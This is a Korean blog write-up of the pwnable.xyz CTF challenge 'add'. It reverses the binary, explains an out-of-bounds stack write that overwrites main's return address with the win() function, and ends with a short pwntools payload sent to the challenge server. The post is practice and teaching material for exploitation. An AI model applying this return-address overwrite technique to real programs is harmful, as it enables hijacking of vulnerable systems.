본문으로 바로가기

[pwnable.xyz] add write up

category CTF/pwnable.xyz 2019. 12. 28. 10:39

pwnable.xyz 세번째 문제 add 이다.

 

실행하면 인자 3개를 받고 어떤 값을 출력한다.

필자가 만든 명령어로 elf 파일 안에 사용자 정의 함수 list 를 보면 총 4개가 있는 것을 볼 수 있다.

그 중 main과 win 함수가 눈에 띄인다.

ubuntu:~/environment/ctf/pwnable.xyz/03_add $ func challenge
b handler
b main
b setup
b win
ubuntu:~/environment/ctf/pwnable.xyz/03_add $ 

 

(elf 파일에 사용자 정의 함수 출력하기)

 

[Find user defined functions] elf에 사용자 정의 함수 찾기

CTF 문제를 풀때 ELF 파일을 GDB로 분석할 때가 있는데, 어떤 사용자 정의 함수들이 있는지 알기 위해서 objdump 명령어를 사용하는 경우가 있다. objdump 명령어를 이용하면 간략하게 볼 수 없기 때문에 이를 간..

lactea.kr

 

 

Analyze

main 함수 주소를 찾을 필요 없이 pdisas 명령어로 바로 main 함수에 접근 할 수 있다.

 

 

자세히 봐야 하는 곳은 아래 부분이다. 아래 어셈블리어를 c코드로 간단히 나타내면 아래와 같다.

while (true){
    if (scanf("%d %d %d", &rcx, &rdx, &rax) == 3){
        rdx += rcx;
        *(rbp+rax*8-0x60) = rdx;
        
        // print result
    }
    else{
        // stack overflow check...
        // escape loop
    }

}

2번재 줄에서 인자가 3개가 아니면 stack overflow를 check 하고 loop를 탈출한다.

4번째 줄에 어떤 주소의 값을 rdx로 바꾸는 부분이 있다.

 

2번째 줄 인자가 3개가 아니면 stack overflow를 check 하고 loop를 탈출
4번째 줄 어떤 주소의 값을 rdx로 바꿈

 

아까 위에서 main 함수 말고도 win 함수도 있었다.

gdb로 분석해보면 아래와 같다.

win 함수의 주소는 0x0000000000400822 이다. 이 함수는 system 함수를 실행하는 함수이다.

win() 함수 address 0x0000000000400822

 

다시 돌아와서 c코드의 4번째 줄에서 어떤 주소의 값을 rdx 값으로 바꿀 수 있다.

이를 이용해 return address의 값을 win 함수의 주소로 바꾸게 된다면, scanf로 입력할때 인자를 2개만 주면, main 함수가 끝나면서 return address의 값이 win 함수의 주소를 가르키고 있으므로 win 함수가 실행이 되게 된다.

 

return address의 값을 바꾸기 전에 return address를 알아내야 한다. 

main 함수의 ret 실행 전까지 가서 stack을 확인해보면, 

return address는 0x7fffffffe598 임을 알 수 있다.

우리는 return address가 가리키고 있는 0x7ffff7a05b97 이 값을 win 함수로 바꾸어야 한다.

return address 0x7fffffffe598 

 

 

c코드를 다시 보면, rdx를 win() 함수의 주소로 넣고

rbp+rax*8-0x60 를 return address 함수로 맞춰주면 된다.

while (true){
    if (scanf("%d %d %d", &rcx, &rdx, &rax) == 3){
        rdx += rcx;
        *(rbp+rax*8-0x60) = rdx;
        
        // print result
    }
    else{
        // stack overflow check...
        // escape loop
    }

}

 

아래 어셈블리어가 실행되기 전에 rbp 값을 보면 0x7fffffffe590 이다. 

0x7fffffffe590 + rax * 8 - 0x60 = 0x7fffffffe598 (return address)

가 성립하기 위해 rax 값은 13(0xd) 이 되어야 한다.

 

정리하면 아래와 같다.

rcx 0
rdx 4196386 (win() 함수의 주소)
rax 13

 

 

 

Payload

from pwn import *

p = remote("svc.pwnable.xyz", 30002)
p.sendline("0 4196386 13")
p.sendline("a a a")
p.interactive()

 

'CTF > pwnable.xyz' 카테고리의 다른 글

[pwnable.xyz] two targets write up  (0) 2020.01.02
[pwnable.xyz] xor write up  (0) 2020.01.01
[pwnable.xyz] misalignment write up  (0) 2020.01.01
[pwnable.xyz] add write up  (0) 2019.12.28
[pwnable.xyz] sub write up  (0) 2019.12.28
[pwnable.xyz] Welcome write up  (0) 2019.12.26

댓글을 달아 주세요